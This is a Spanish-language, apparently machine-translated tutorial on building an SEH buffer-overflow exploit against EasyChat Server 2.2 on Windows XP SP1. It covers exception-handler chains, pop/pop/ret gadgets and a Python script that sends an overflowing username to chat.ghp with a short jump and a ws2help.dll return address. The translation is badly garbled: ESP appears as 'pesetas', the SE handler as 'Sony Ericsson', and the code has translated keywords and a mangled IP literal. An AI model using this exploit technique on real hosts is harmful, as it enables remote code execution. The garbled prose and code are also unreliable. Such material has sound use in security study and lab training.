He aqui un Articulo ya algo empolvado pero buena teoria y funcional.
Este artículo está escrito para presentarle el diseño y la teoría de cómo un controlador estructurado de
excepciones (SEH) exploit puede ser escrito para llegar a un host de Windows. Usamos la
vulnerabilidad de desbordamiento de buffer en el software del servidor del FSE EasyChat como un
ejemplo detallado de este tipo de explotación.
Mientras que el artículo trata de cubrir los temas de los nuevos en la escritura explota, todavía tiene
algunos supuestos acerca de la experiencia relacionada del lector. Por ejemplo, el documento no entra
en detalles acerca de cómo escribir código en ensamblador y cómo se utiliza código shell como
explotar la carga útil. Además, no habla de la diferencia entre los sistemas de numeración hexadecimal
y decimal, que es necesaria para comprender muchos de los valores numéricos utilizados en todo el
documento. Aquí está una lista de temas que debe conocer antes de continuar leyendo este artículo:
sistema ➢ de numeración hexadecimal
➢ La comprensión básica de cómo el lenguaje de la Asamblea se utiliza
➢ La comprensión básica de la Asamblea Opcode Mnemomics
➢ La comprensión de los punteros de memoria
➢ idea general de los registros de la memoria y su uso
➢ Alguna experiencia con la escritura de las funciones del programa de cualquiera de las lenguas
Asimismo hay algunos requisitos que se necesitan en caso de que desee realizar el ejercicio. Yo sugiero
que termine el ejercicio, ya que esto consolidar una gran cantidad de los conceptos que se discuten.
Usted necesitará:
➢ Una máquina de Windows XP Service Pack 1 (Virtual Machine está bien) (la víctima)
➢ Ollydbg instalado en XP Service Pack 1 caja
OllySSEH Ollydbg plugin instalado en XP Service Pack 1 caja ➢
FSE ➢ EasyChat Server 2.2 (gratis)
➢ Otra máquina con Python instalado. (Puede ser cualquier sistema operativo) (atacante)
Uno de los conceptos más importantes para entender al escribir hazañas funcional es que son el
resultado de un error de software. Si todos los programas fueron escritos perfectamente de tal manera
que no hubo fallas, no habría de explotar vulnerabilidades. En muchos casos, un atacante podría
provocar que un programa se bloquee debido a la falta de comprobación de errores en el programa.
Haciendo que el programa se bloquee se consideraría una denegación de servicio (DoS). No obstante,
causando una condición de DOS en un programa no quiere decir que puede ser aprovechado
plenamente, pero sí indica que podría ser posible. Si bien hay varios tipos de vectores de ataque
disponible para crear un completo y funcional explotar, hay muchos casos donde las condiciones del
programa o el medio ambiente no constituyen una viable explotar utilizando cualquiera de los vectores
conocidos. Este artículo está escrito con el supuesto de que un vector de ataque SEH es posible en el
software de destino, y es importante entender que este vector no siempre pueden estar presentes en el
software vulnerable.
Antes de empezar, tenga en cuenta que vamos a discutir sobre todo el funcionamiento de dos rutinas
diferentes software que se ejecutan simultáneamente. Una rutina será el programa de software
vulnerable y es el apoyo a bibliotecas de funciones que están tratando de corromper. Para nosotros, esta
rutina primero será el software de servidor EasyChat. La segunda rutina es el sistema de Windows
despachador de excepción que se ejecuta constantemente en espera de una condición de error que se
produzca. Los intentos de despachador de rutina para manejar las excepciones (errores) que pueden
ocurrir en la primera rutina (EasyChat). A medida que avanzamos a través de este trabajo, trate de
mantener estas dos rutinas separadas en su mente.
El controlador estructurado de excepciones (SEH) Mecanismo de Windows hace uso de una estructura
de datos llamada "lista enlazada", que contiene una secuencia de registros de datos en cada registro
tiene al menos un campo de elemento de datos y una referencia (puntero) al siguiente registro en la
secuencia. El último registro de la secuencia tiene un campo Registro siguiente que apunta a
0xFFFFFFFF que es el final de la lista vinculada. El siguiente diagrama muestra un ejemplo básico
lista enlazada.
Una lista enlazada funciona bien para una estructura de excepción debido a un nuevo registro puede ser
fácilmente insertado dinámicamente. Si queremos insertar otro registro, podemos simplemente
modificar los punteros de registro siguiente para que el nuevo disco está en la secuencia. El siguiente
diagrama muestra cómo un nuevo disco que contiene Hank se inserta entre Bob y Steve:
SEH General Exploit Diseño
Como mejor se puso por Matt Miller, "Si bien típica de búfer basado en pila de trabajo desborda al
sobrescribir la dirección de retorno en la pila, SEH sobrescribe el trabajo de sobrescribir el controlador
de atributo de un registro de inscripción de excepción que se ha almacenado en la pila. A diferencia de
sobrescribir el regreso dirección, donde el control se obtiene inmediatamente después de regresar de la
función, un SEH sobrescribir en realidad no obtener la ejecución de código hasta después de un
excepción se ha generado. La excepción es necesaria para hacer que el
despachador de excepción para llamar al controlador de sobrescribir ".
En el caso de SEH, el elemento de datos es en realidad un puntero que apunta a una función que intenta
controlar la excepción que se ha producido como una división por cero. Esto podría ser una función que
muestra una "división por 0" mensaje de error cuadro emergente de la pantalla para que el usuario vea.
El siguiente diagrama muestra cómo aparece conceptualmente.
Cuando se produce una excepción en un hilo de ejecución de código, el sistema comenzará a recorrer la
lista SEH vinculados. El puntero a la función de control de excepciones se utiliza para llamar a la
función excepción. La función de excepción o bien puede optar por controlar la excepción o indicar al
sistema que continuar revisando otras funciones excepción en la lista. Por ejemplo, digamos que una
excepción cadena de longitud excesiva se ha producido con la estructura que se muestra arriba. El
sistema comenzará a recorrer la lista SEH vinculados y empezar, en primer lugar el control de la
división por 0 función de controlador de excepciones. Dado que esta función no sabe cómo manejar los
problemas cadena de longitud, que le dirá al sistema para seguir revisando las otras funciones al
devolver EXCEPTION_CONTINUE_SEARCH. Esto hará que el sistema para desplazarse al registro
siguiente excepción en la lista enlazada. La función de excepción siguiente en la lista es la función de
cadena de longitud excesiva. Esta función va a aceptar para controlar la excepción y, posiblemente,
corregir el problema que provocó la excepción.
Si la función de excepción fue capaz de manejar la excepción, su último acto es devolver el valor
EXCEPTION_CONTINUE_EXECUTION. Cuando el sistema operativo ve que
EXCEPTION_CONTINUE_EXECUTION fue devuelto, se interpreta que esto significa que la
excepción de función fija del problema y la instrucción de fallas se debe reiniciar.
Para entender mejor cómo funciona SEH, tenemos que revisar cómo una pila de base se rellena. La
siguiente figura muestra cómo una base de pila puede aparecer en tiempo de ejecución.
La mayoría de los sistemas están diseñados de tal manera que la pila crece hacia abajo en la memoria
de tal manera que la parte superior de la pila indicada por el ESP (Extended Stack Pointer) es en
realidad el registro más bajo la dirección de memoria utilizados en la pila y la parte inferior de la pila es
la más alta de la memoria dirección. Cuando comenzamos a construir nuestro exploit, vamos a utilizar
OllyDbg para depurar nuestro código. Desde OllyDbg muestra la pila vertical de las direcciones de
memoria de menos a más con la pila que crecen hacia arriba, hemos ilustrado esto en nuestros
diagramas para hacer los conceptos más fácil de seguir. Sin embargo, puede ver los diagramas de otras
fuentes se muestra a la inversa.
Como un ejemplo con el diagrama anterior, cuando el funcA función es llamada, los argumentos
pasados a la función se inserta en la pila primero, seguido por la dirección de retorno (dirección de
retorno de ejecución para después de la función se completa, también llamada EIP), la persona que
llama EBP (Extended Base Pointer) y todos los objetos locales (variables) específica para la función
funcA. EBP se pasa de modo que cada función tiene un marco definido de pila que es una gama de
memoria reservada para una función determinada para almacenar información. El diagrama anterior
muestra que la función funcA fue llamado primero. Mientras que en la función funcA, funcB función
fue llamada para realizar otra tarea y así un marco de pila anterior funcA fue creado para funcB
función. Del mismo modo, mientras que en funcB función, la función funcC fue llamado y por lo que
un marco de pila anterior funcB fue creado para la función funcC. Cuando funcC completa su
funcionamiento, su marco de pila se quitan de la pila y el sistema seguirá ejecutando funcB función de
donde se quedó antes de llamar a funcC.
Este proceso de crear y eliminar los marcos de pila para funciones se completa con lo que se denomina
función de prólogo y epílogo. El prólogo de la función es unas pocas líneas de código ensamblador que
aparecen al principio de una función. Se prepara la pila y los registros para su uso dentro de la función.
Del mismo modo, el epílogo de función aparece en la parte final de la función, y restaura la pila y los
registros de vuelta al estado que tenían antes de la función fue llamada.
Hemos mencionado anteriormente que, al utilizar una estructura de lista enlazada podemos insertar
registros adicionales en la secuencia. Cuando un programa está en operación normal, puede tener
funciones que llaman a otras funciones de manera de anidación. Cada una de estas funciones del
programa en general, tendrá su propio controlador de excepciones. Cuando una nueva función que se
llama dentro de una función existente, un marco de excepción controlador nuevo se crea en la pila y un
puntero para enmarcar el controlador anterior se establece.
Cuando se utiliza SEH hay un proceso de registro donde se crea una estructura de excepción para cada
función como una variable local. El último campo de la estructura se superpone a la ubicación en la
estructura puntero puntos EBP. prólogo de la función crea esta estructura en su marco de pila y lo
registra con el sistema operativo en tiempo de ejecución. La importancia de esto es que el puntero al
manejador de excepciones y el puntero a la siguiente controlador de excepciones se almacenan en la
pila en la sección local de la función del programa de las variables de su marco de pila.
El siguiente diagrama muestra cómo una pila puede aparecer en tiempo de ejecución con SEH aplicada.
En base a esto, podemos ver que puede ser posible desbordamiento de un búfer argumento de tal
manera que el puntero del controlador de excepciones se sobrescribe. Si somos capaces de sobrescribir
el puntero del manejador de excepciones, podemos dirigir la ejecución de código para hacer algo que
queremos que un hacker tome el control. Desde el puntero del manejador de excepciones es un puntero
a una función, tenemos que apuntar a una dirección que también utiliza código ejecutable. En otras
palabras, no podemos simplemente sobrescribir el controlador de excepciones con código shell
ejecutable y esperar que se ejecute.
Cabe señalar que el registro FS: 0 siempre apunta al inicio de la excepción encadenados lista. Cuando
una nueva función que se llama, el Exception_Registration_Record para la función se agrega a la pila.
En este mismo tiempo, el FS: 0 registro se establece en el punto en el registro excepción nuevo registro
y el registro siguiente se establece en el punto que el valor anterior de FS: 0. De esta manera, la nueva
función siempre será el primero en la lista de excepciones. Piense de nuevo a nuestro ejemplo de lista
enlazada para visualizar mejor cómo se logra esto.
Hasta este punto hemos hablado de la Exception_Registration_Record que contiene un puntero a otro
Exception_Registration_Record (Siguiente) y un puntero a un controlador de excepciones. El prototipo
específico para el campo Handler es en realidad una estructura definida como:
EXCEPTION_DISPOSITION typedef (* ExceptionHandler)
(EN ExceptionRecord EXCEPTION_RECORD,
EN EstablisherFrame PVOID,
EN ContextRecord pContext,
EN DispatcherContext PVOID);
Cuando se produce una excepción en una función del programa, la excepción del sistema de rutina
despachador se ejecuta y crea su propio marco de pila. Al hacerlo, se impulsará elementos de esta
estructura de controlador de excepciones en la pila ya que es parte de un prólogo de la función para
ejecutar el código de excepción. Tenga en cuenta que se trata de una pila separada utilizados para el
despachador de excepción y que no están directamente relacionados con la pila del programa que
sobrescribió con el tampón.
Como un hacker, que en realidad conseguir un poco afortunados aquí. El campo de mayor importancia
es el EstablisherFrame. Este campo en realidad apunta a la dirección del registro de inscripción de
excepción que se inserta en la pila del programa. También se encuentra en [esp 8] cuando el
controlador se llama como parte de la rutina del despachador. Si se sobrescribe el controlador con la
dirección de un pop / pop / ret secuencia, el resultado será la transferencia de la ruta de ejecución del
subproceso actual de la operadora a la dirección del lugar en el siguiente Exception_
Registration_Record normalmente residen. En lugar de una dirección de puntero actual al siguiente
registro, en su lugar se utiliza para sostener cuatro bytes de código arbitrario que suministramos como
parte de la memoria intermedia sobrescribir. Por lo tanto, el campo siguiente
Exception_Registration_Record puede sobrescribir a ser nuestra primera área de código shell
ejecutable.
Vamos a hablar sólo un poco más sobre el pop / pop / ret para entender lo que está sucediendo aquí. Un
"pop" comando le dice a tomar el valor actualmente se encuentra en la parte superior de la pila (ESP) y
asignarlo a un registro en particular. Por ejemplo, "edx pop" se movería el valor actual en la pila de
pesetas para registrar edx y el incremento de pesetas por una palabra (4 bytes) de memoria para
eliminar de forma eficaz el elemento superior de la pila. Por lo tanto, un emergente se moverá a cuatro
pesetas y el pop pop / ESP se moverá a 8, donde se encuentra la EstablisherFrame y apunta a la
dirección del registro de inscripción de excepción (que comienza con nuestro código shell que
sobrescribió para el campo siguiente).
Normalmente, cuando una función se llama, la instrucción actual (EIP) de la rutina de llamada se
inserta en la pila antes de llamar a la función para que después de la función es completa se puede
volver al punto de la rutina de llamada dejó. Así que, por lo general retirado que restaurar el valor
guardado en la espalda EIP EIP cuando la función está completa. En el caso de pop / pop / ret función,
el sistema va a continuar con la ejecución de la dirección de lo que está en la parte superior de la pila
cuando se realiza Ret. Desde que han aparecido los dos primeros elementos de la pila, la dirección
sentado en la parte superior de la pila cuando se corrió Ret será la dirección al siguiente
Exception_Registration_Record que ha sido sobrescrito con nuestro escenario un código shell.
Un concepto importante de entender aquí es que no somos realmente capaces de sobrescribir el valor en
el campo EstablisherFrame. Somos afortunados de que simplemente este puntero existe en el
despachador de la pila de tal manera que podamos utilizar para nuestro beneficio. Como suele suceder
cuando se escribe un exploit, utilizamos los recursos que tenemos disponibles como parte del ataque. A
pesar de que no se puede sobrescribir el valor de la dirección almacenada en el EstablisherFrame,
podemos utilizar el hecho de que está en el despachador de la pila y ya se apunta a un área en la pila del
programa que puede sobrescribir. Así, el pop / pop / ret le dirá al sistema para continuar con la
ejecución en la dirección de lo que solía ser el Exception_Registration_Record siguiente en la pila del
programa.
El siguiente diagrama intenta ilustrar esto:
El Programa de pila y de pila de excepción Dispatcher se muestran arriba como dos pilas separadas a
pesar de que son en realidad una pila común. Sin embargo, desde el distribuidor de excepción crea su
propio espacio de pila, lo tratamos aquí como dos montones diferentes para ilustrar el concepto.
Cuando la ejecución se pasa de nuevo al sobrescribir Exception_Registration_Record A continuación,
sólo tenemos cuatro bytes contiguo de memoria para trabajar con antes de llegar al campo de
controlador (que también sobrescribió con nuestra dirección de pop / pop / r). Puesto que no hay mucho
espacio para ejecutar código shell útil, esta zona se convierte en nuestro escenario un espacio shellcode.
La mayoría de los atacantes a utilizar una secuencia simple salto corto para saltar más allá de la guía y
en el código atacante controlar que viene después de ella. Esta segunda área (segunda etapa) en general,
puede contener datos mucho más y es por lo general donde los atacantes se depositan su carga útil
principal de la hazaña. La siguiente figura ilustra lo que esto podría parecer después de que un atacante
sobrescribir un registro de inscripción excepción.
Si bien hay más detalles involucrados en la forma en que el controlador de excepciones opera, esta
visión nos proporciona información suficiente para poder diseñar un SEH funcionales explotar.
Escritura de la SEH Exploit
Ahora que sabemos conceptualmente cómo un SEH explotar funciona, tenemos que aplicar esto a un
error de desbordamiento de búfer en algunos programas. Una de las partes más difíciles de escribir un
exploit para el software es encontrar primero una vulnerabilidad en el mismo. En este caso, vamos a
aprovechar una vulnerabilidad documentada en lugar de tomarse el tiempo para tratar de encontrar la
nuestra. Si bien la búsqueda en Google, podemos encontrar en este enlace de Juniper, que describe una
vulnerabilidad en EasyChat Server 2.2. Consulte este enlace para más detalles:
http://www.juniper.net/security/auto/vulnerabilities/vuln25328.html
Severidad: Crítica
Descripción: Easy Chat Server es una red basada en servidor de chat para Microsoft Windows.
El servidor es propenso a una vulnerabilidad de desbordamiento de búfer remoto porque no puede
validar los datos proporcionados por el usuario.
Este problema se produce cuando un atacante proporciona datos excesivos en el marco de las
credenciales de autenticación. En concreto, este problema afecta a la 'username' y 'password'
parámetros de la aplicación 'chat.ghp' CGI.
Los atacantes pueden aprovechar este problema para ejecutar código arbitrario en el contexto de la
aplicación. No se pudo ataques causarán condiciones de denegación de servicio.
Fácil Chat Server 2.2 se informó vulnerables; otras versiones también pueden verse afectadas.
Productos afectados:
Software EFI fácil Chat Server 2.2
Esto nos dice que podemos ser capaces de enviar un nombre de usuario demasiado largos y / o
contraseña a la aplicación chat.ghp CGI y hacer que se genere una excepción que podemos aprovechar.
Después de investigar el software EasyChat más, podemos ver que se trata de una aplicación basada en
web y que la página de entrada se nos limita a 30 caracteres para un nombre de usuario. Si utilizamos
una aplicación como wget para enviar una solicitud con un nombre de usuario grande, que puede ser
capaz de obtener EasyChat a chocar con una condición DOS. Si es así, entonces podemos empezar a
trabajar para tratar de controlar el choque con un vector de ataque SEH explotar.
La petición http a chat.ghp tendrá que buscar algo como esto:
http://10.82.80.201/chat.ghp?
username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y contraseña =
prueba & sala = 1 & sexo = 2
Mientras wget puede funcionar bien en este caso para poner a prueba por un accidente, por lo general
es mejor escribir un script de Perl o Python para permitir una mayor flexibilidad por escrito el exploit.
Para nuestro ataque, vamos a utilizar Python. Basado en el diseño general de la hazaña se señaló
anteriormente, sabemos que la sección "A" representa el nombre de usuario realmente necesita mirar
más como las siguientes:
salto del buffer relleno + corto a la fase 2 + pop / pop / dirección ret + etapa 2 de carga útil
La primera tarea que tenemos que hacer es seleccionar el sistema operativo que EasyChat Server se
ejecuta en. En nuestro caso, vamos a adaptar este exploit para funcionar en Windows XP SP1 Edición
en Inglés, para empezar. Esto es importante tener en cuenta debido a apoyar el cambio librerías DLL
entre los principales sistemas operativos como Windows XP y Windows NT, así como entre versiones
de Service Pack del mismo sistema operativo principal como Windows XP SP1 y SP2. Incluso el
idioma como Inglés vs francesa puede hacer una diferencia. Sobre la base del sabor específico de
Windows, tendrá que determinar un pop válida / pop / ret que se pueden utilizar.
Desde que se ejecuta el servidor EasyChat en una plataforma Windows, usaremos el depurador
OllyDbg gratis la versión 1.10 que nos ayude a ver cómo EasyChat opera en conjunto con nuestro
exploit. En la mayoría de los casos es mucho más fácil escribir un exploit funcional si se puede crear un
recinto de seguridad para el software de destino. Al tener EasyChat servidor se ejecutan en un entorno
controlado, podemos seguir accidente y reiniciar el servidor mientras se observa el comportamiento con
OllyDbg lo que hace que la creación de la hazaña mucho más simple. Si atacas a una solicitud en la
naturaleza, sólo puede obtener un intento de que pueda aprovecharse.
Vamos a empezar por tratar de determinar exactamente cuánto tiempo el relleno tampón debe ser para
que podamos correctamente sobrescribir el puntero y el puntero siguiente
Exception_Registration_Record manejador de excepciones en la pila. Después de iniciar el servidor
EasyChat, comenzamos OllyDbg en el servidor de destino. Dentro de Olly, seleccione Archivo ->
Conectar a ver una lista de procesos en ejecución a asociar. Tendremos que seleccionar la que
corresponda "Easy Chat Server". Si por alguna razón usted no ve el proceso, cerca de Olly y reiniciarlo.
Una vez que Olly se une al proceso de EasyChat, podrás ver el proceso se detuvo en la esquina inferior
derecha. Es importante recordar que hacer clic en el botón de reproducción en Olly para permitir que el
sistema para continuar con la tramitación. Si no, haga clic en el juego, el detector para EasyChat no
responderá al atacante y ya no volveremos a ver nada producen.
Ahora estamos listos para probar nuestro primer intento. Vamos a utilizar el SP2 de Windows XP como
la plataforma atacante usando Python 2.6 para Windows, pero puede utilizar cualquier plataforma que
usted elija. Nuestra inicial de Windows código Python se verá así:
# C: / datos / aplicaciones / python / u python.execadena
de importación, los sistemas de
toma de importación, httplib
# Offest búfer para el SP1
buffer = "A" * 200
# Añade DEADBEEF para amortiguar para ayudar a alinear en SEH puntero en la memoria
tampón + = '\ XEF \ XBE \ XAD \ XDE'
# Añadir un puñado de hexadecimal 42 (B) para ayudar a más de búfer de flujo y ver los
resultados.
# Aquí es donde la explotación primaria (etapa 2) Código de tope.
tampón + = 'B' * 500
url = '/ chat.ghp? nombre de usuario =' + tampón + '& password =' + búfer + 'y sala = 1 & sexo =
2'
impresión de "Running explotar ... \ r \ n '
url de impresión
conn = httplib.HTTPConnection (.168.1.205 '192 ', 80)
conn.request ("GET", url)
r1 = conn.getresponse ()
r1.status de impresión, r1.reason
conn.Close ()
Pronto nos ocuparemos de todas las piezas de este código antes de ver los resultados en Olly. La
primera línea de código le dice al intérprete de Python, donde se encuentra el ejecutable de python. En
mi caso, Python fue instalado en el directorio C: \ Datos de programa \ Apps \ Python, donde se
encuentra el archivo python.exe. La "-u" bandera dice python para funcionar con la salida estándar sin
búfer binario y stderr. Esto ayudará a mantener nuestro script de colgar cuando se ejecuta. Las
siguientes líneas se utilizan para importar bibliotecas de funciones. Si bien todos los incluiremos en
nuestra secuencia de comandos no son necesarios, no hace daño nada que incluyen las bibliotecas
adicionales. La importación más importante es httplib que se utiliza para crear la conexión HTTP al
servidor de chat.
A continuación, comenzará la construcción de una variable de cadena buffer llamado. Esta será la
variable que pasamos como nombre de usuario cuando esté terminado. Tampón se crea por primera vez
con 200 letra "A". A continuación, añadir EFBEADDE hexagonal en el búfer con el signo "+ ="
operador. Esto nos lleva a la cuestión de la "Little Endian" frente a "Big Endian". En informática,
endianness es el byte (ya veces poco) ordenar utiliza para representar algún tipo de datos. En nuestro
caso, es relevante cómo se almacenan las direcciones de memoria y leer. En big endian, el bit más
significativo es lo primero. La dirección 0xABCDEF12 está escrito en código shell como "\ \ xab
XCD \ XEF \ x12". Sin embargo, en little endian, tiene la frente, donde el bit menos significativo es lo
primero. En este caso, nuestra dirección shellcode se escribiría como "\ x12 \ XEF \ XCD \ xab". Por
tanto, cuando estamos buscando en el volcado de pila en OllyDbg, la cadena de código shell "\ XEF \
XBE \ XAD \ XDE" aparecerá como DEADBEEF que es fácil de detectar en la pila.
Para finalizar el buffer, añadimos 500 letra B (hex 42) para asegurarse de que se desborde el buffer.
Puedo usar B después de DEADBEEF sólo para hacerlo más fácil de detectar en hexadecimal 41 se
detiene y comienza hexagonal 42. Ahora que el buffer se ha completado, se construye la cadena de
URL que queremos enviar al servidor de chat. Tenga en cuenta que la sala de los parámetros y el sexo =
= También se requieren en el EEG mensaje que enviamos. En mi caso, yo uso el buffer de los campos
de nombre de usuario y contraseña, ya que ambos son vulnerables, pero esto no es necesario. Uno o el
otro también debería funcionar bien.
La última tarea es conectar con el servidor HTTP y envía el mensaje GET. httplib.HTTPConnection
función establece la conexión con el servidor HTTP en el puerto 80 y devuelve un identificador para la
conexión asignados a CONN variable. El conn.request línea ("GET", url), entonces envía la dirección
URL que hicimos con una solicitud HTTP GET. La siguiente línea intenta recuperar el código de
retorno HTTP como OK 200. La situación y el motivo de la respuesta se imprime seguido de un
comando para cerrar la conexión con el servidor.
Hay un otro elemento importante tener en cuenta. La misma secuencia de comandos termina con la
extensión py. Que le dice a Windows a utilizar el intérprete de Python para este archivo. Cuando
abrimos un símbolo del sistema en donde el script se encuentra ahora podemos simplemente escriba el
nombre del archivo de comandos como attack.py para lanzar nuestro ataque. Vamos a seguir adelante y
hacer esto para ver cómo se comporta nuestro código de explotación hasta el momento.
Cuando la excepción se produce, Olly, hará una pausa en el proceso. Debe presionar
Olly para pasar la excepción. El resultado de nuestro primer intento se muestra en OllyDbg a
continuación. Al observar el volcado de pila en la esquina inferior derecha, el controlador de Sony
Ericsson se encuentra en la dirección 0x00ED6DE0 DEADBEEF y que está por encima de este punto.
Esto significa que nuestra secuencia de búfer inicial de A es demasiado corto. Tenemos que agregar
más de A para alinear DEADBEEF con la ubicación de controlador de Sony Ericsson.
Si alteramos nuestra secuencia de comandos para utilizar 228 letra A, vemos que hemos sobrepasado la
ubicación de controlador de Sony Ericsson un poco como se muestra a continuación.
Tenemos que seguir ajustando nuestra longitud de búfer inicial hasta que acoplan perfectamente a la SE
el lugar del manillar. Tendrá que dejar que continúe y Olly accidente cada vez seguido del reinicio del
servidor EastChat y adjuntando Olly al nuevo proceso. Esto puede tomar mucho tiempo, pero es una
parte necesaria de escribir un exploit.
Finalmente, nos encontramos con que un valor de 220 A se alinea perfectamente con nosotros con el
controlador de Sony Ericsson como se muestra aquí:
El único problema ahora es que también queremos sobrescribir el puntero al siguiente registro SEH con
un salto corto. Dado que esta es una palabra de 4 bytes, en realidad va a terminar con 220-4 = 216 letra
"A". El salto corto será un símbolo del nivel de ensamblado llamado código de operación. Hay varias
fuentes en Internet para buscar códigos de operación. Este sitio tiene una buena lista de códigos de
operación disponibles, aunque puede ser un poco abrumador:
http://ref.x86asm.net/coder32.html
Lo que realmente necesitamos es un jmp corto.Un medio desplazamiento relativo a saltar desde la que
actualmente están en la memoria a una distancia especificada. Es importante tener en cuenta esto, ya
también hay saltos absolutos, lo que significa ir a una dirección específica. En la mayoría de los casos,
Windows no le permiten saltar a una dirección específica, pero por lo general permiten saltos cortos. Si
estamos en la dirección 0x00ED6DDC se muestra arriba, vamos a utilizar un byte para el corto salto de
código de operación EB y un byte para especificar la distancia de salto. Ahora tenemos que averiguar lo
que este valor debe ser. Queremos saltar por encima de la ubicación DEADBEEF para llegar a la
dirección 0x00ED6DE4 en nuestra etapa 2 shellcode residirá. Usted puede ser capaz de hacer los
cálculos en su cabeza para ver que tendremos que ir de 6 a llegar a este lugar, pero si no, más abajo
muestra cómo se calcula:
valor:: Dirección bytes: Descripción:
0x00ED6DDC EB un código de operación salto corto
0x00ED6DDD 00 1 marcador de posición para la distancia de salto
salto
0x00ED6DDE 90 1 relleno (no-op se utiliza)
0x00ED6DDF 90 1 relleno (no-op se utiliza)
0x00ED6DE0 DEADBEEF cuatro marcador de posición para el pop / pop / ret dirección
0x00ED6DE4 90 1 no-op (fase 2 comienza)
Esto demuestra que tenemos que ir de 1 byte de relleno, más 1 byte para más relleno, más 4 bytes para
el pop / pop / dirección ret que es un total de 6 bytes. Tenemos que asegurar de que esta es en
hexadecimal para nuestra shellcode. En este caso 6 decimal es igual a 6 hexagonal. Podríamos usar
cualquier cosa para los 2 bytes de relleno, pero utilizamos una no-op de la hexagonal 90 para la
simplicidad. Nuestro pequeño salto con el acolchado de nuestro script Python será "\ xeb \ x06 \ x90 \
x90". Tenga en cuenta que no es necesario para revertir esto para endianness ya que esto no es una
dirección. Nuestro código de explotación deberá tener el siguiente aspecto en este momento:
# C: / datos / aplicaciones / python / u python.execadena
de importación, los sistemas de
toma de importación, httplib
# Offest búfer para el SP1
buffer = "A" * 216
# Aquí es donde "puntero al siguiente registro SEH" se almacena
# \ Xeb \ x06 significa saltar 6 bytes hacia adelante
# Esto se ejecutará después de que el pop, el pop, ret se ha producido.
tampón + = "\ xeb \ x06 \ x90 \ x90 '
# Añade DEADBEEF para amortiguar para ayudar a alinear en SEH puntero en la memoria
tampón + = '\ XEF \ XBE \ XAD \ XDE'
# Añadir un puñado de hexadecimal 42 (B) para ayudar a más de búfer de flujo y ver los
resultados.
# Aquí es donde la explotación primaria (etapa 2) Código de tope.
tampón + = 'B' * 500
url = '/ chat.ghp? nombre de usuario =' + tampón + '& password =' + búfer + 'y sala = 1 & sexo =
2'
impresión de "Running explotar ... \ r \ n '
url de impresión
conn = httplib.HTTPConnection (.168.1.205 '192 ', 80)
conn.request ("GET", url)
r1 = conn.getresponse ()
r1.status de impresión, r1.reason
conn.Close ()
El siguiente diagrama muestra que DEADBEEF es realmente alineado con el controlador de SE y que
el salto corto ha sobrescrito la siguiente puntero Exception_Registration_Record en la memoria de pila
a la derecha. Tenga en cuenta que se trata de la pila de memoria para el programa EasyChat que
estamos aquí sobrescribir. Usted debe ver que el salto corto y 2 bytes de relleno aparecen al revés en la
pila ya que el sistema trata de interpretar esto como una dirección en Olly. Sin embargo, si nos fijamos
en el volcado de memoria primas a la izquierda, vemos que nuestra cadena está en contacto tal como lo
envió y que DEADBEEF aparece en inversa tal y como lo envió también.
La siguiente pieza que tenemos que averiguar es qué dirección va a utilizar para un pop / pop / ret. Hay
un par de maneras de hacer esto, pero primero debemos saber qué módulos ejecutables del servidor
EasyChat se ha cargado. Para hacer esto dentro de Olly, haga clic en Ver -> módulos ejecutables. Usted
debería ver una ventana pop-up similar a la de abajo:
De esta lista, ahora podemos utilizar la base de datos de código de operación que el equipo del proyecto
Metasploit ha puesto juntos para encontrar útil pop / pop / electrónico ret:
http://www.metasploit.com/users/opcode/msfopcode.cgi
Seleccione la opción "Búsqueda de códigos de operación en un conjunto de módulos". En la siguiente
página, seleccione el botón de radio para Opcode Meta Tipo y haga clic en el menú desplegable para
seleccionar pop / pop / ret si no está ya seleccionado. La siguiente pantalla le permitirá seleccionar los
módulos de búsqueda. Elija la opción "Seleccionar uno o más módulos comunes". Verá varios módulos
ya se ha señalado. El objetivo aquí es que sólo los módulos seleccionados que están también presentes
en la lista de módulos ejecutables de OllyDbg. En mi caso, he decidido seleccionar sólo el módulo
ws2help.dll en Metasploit. La página siguiente le pregunta por la versión del sistema operativo. Como
mencionamos anteriormente, es importante saber qué sistema operativo el exploit se ejecuta en
garantizar la correcta dirección de código de operación. En nuestro caso seleccionamos "versión
específica del sistema operativo" y seleccionar "Windows XP SP1 5.1.1.0 (IA32)" y "Inglés". Sí,
incluso el lenguaje puede hacer una diferencia en los lugares código de operación. Los resultados de la
búsqueda Metasploit se muestran en el siguiente diagrama.
En teoría, deberíamos ser capaces de usar cualquiera de estos códigos de operación. Decidí usar el
segundo 0x71AA2461 que realiza un pop esi, ebx pop, ret. Dado que esta será una localización de la
dirección real, tendremos que dar cuenta de orden de bits por revertir esta en nuestro script. Por lo
tanto, vamos a sobrescribir el controlador de Sony Ericsson con "\ x61 \ x24 \ XAA \ X71".
Sustitución DEADBEEF con este nuevo pop / pop / dirección ret, el medio (buffer) sección de nuestro
código shell de Python deberían aparece como sigue:
# offest búfer para el SP1
buffer = "A" * 216
# Aquí es donde "puntero al siguiente registro SEH" se almacena
# \ xeb \ x06 significa saltar 6 bytes hacia adelante
# Esto se ejecutará después de que el pop, el pop, ret se ha producido.
tampón + = "\ xeb \ x06 \ x90 \ x90 '
# Aquí es donde apunta a controlador de excepciones se almacena
# Utilice 0x71AA2461 dirección para el pop, el pop, RET en ws2help.dll 5.1.2600.0 Service Pack
1
tampón + = "\ x61 \ x24 \ XAA \ X71 '
# Añadir un puñado de hexadecimal 42 (B) para ayudar a más de búfer de flujo y ver los
resultados.
# Aquí es donde la explotación primaria (etapa 2) Código de tope.
tampón + = 'B' * 500
Iniciar el servidor de EasyChat en la máquina objetivo y adjuntar Olly al proceso. Una vez conectado,
presione el botón de reproducción en Olly. Ahora ejecuta el exploit de la máquina atacante. Una
excepción debería ocurrir y se tendrá que presionar
al controlador. Pulse jugar por segunda vez y ver dónde Olly se detiene de nuevo. Usted debe ver algo
como el siguiente diagrama.
Mira el valor del registro EIP. Recordemos que la EIP es el puntero a la siguiente instrucción a
procesar. Podemos ver en el volcado de memoria en la esquina inferior izquierda que esta dirección es
justo después de nuestra lista de "B" (hex 42). Como resultado, hexadecimal 42 es en realidad un
código de operación que se dice para incrementar el registro edx. Si esto es cierto, entonces deberíamos
